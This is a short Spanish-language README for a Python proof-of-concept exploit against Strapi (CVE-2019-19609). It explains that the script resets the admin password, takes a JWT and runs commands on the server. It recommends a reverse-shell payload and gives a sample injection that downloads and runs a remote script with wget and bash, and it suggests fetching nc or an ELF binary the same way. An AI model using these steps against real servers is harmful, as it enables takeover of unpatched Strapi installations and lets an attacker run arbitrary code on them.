CVE-2019-19609-POC-Python

El script intentará restablecer la contraseña a la declarada en la variable "updated_pass"; si lo consigue, otorgará un token JWT de Strapi y lo usará para ejecutar comandos. Ejecutar comandos bind no funcionará a menos que se envíe un payload de reverse shell, con bash o python o lo que sea. Puedes generar un archivo .sh que descargue nc por ti y lo ejecute, o cualquier cosa realmente. Incluso elf. Para ello, cambia el payload_exp de && al ). Por ejemplo, && $(wget xxxx -O /tmp/oooo; bash /tmp/ooo) La URL ya no está activa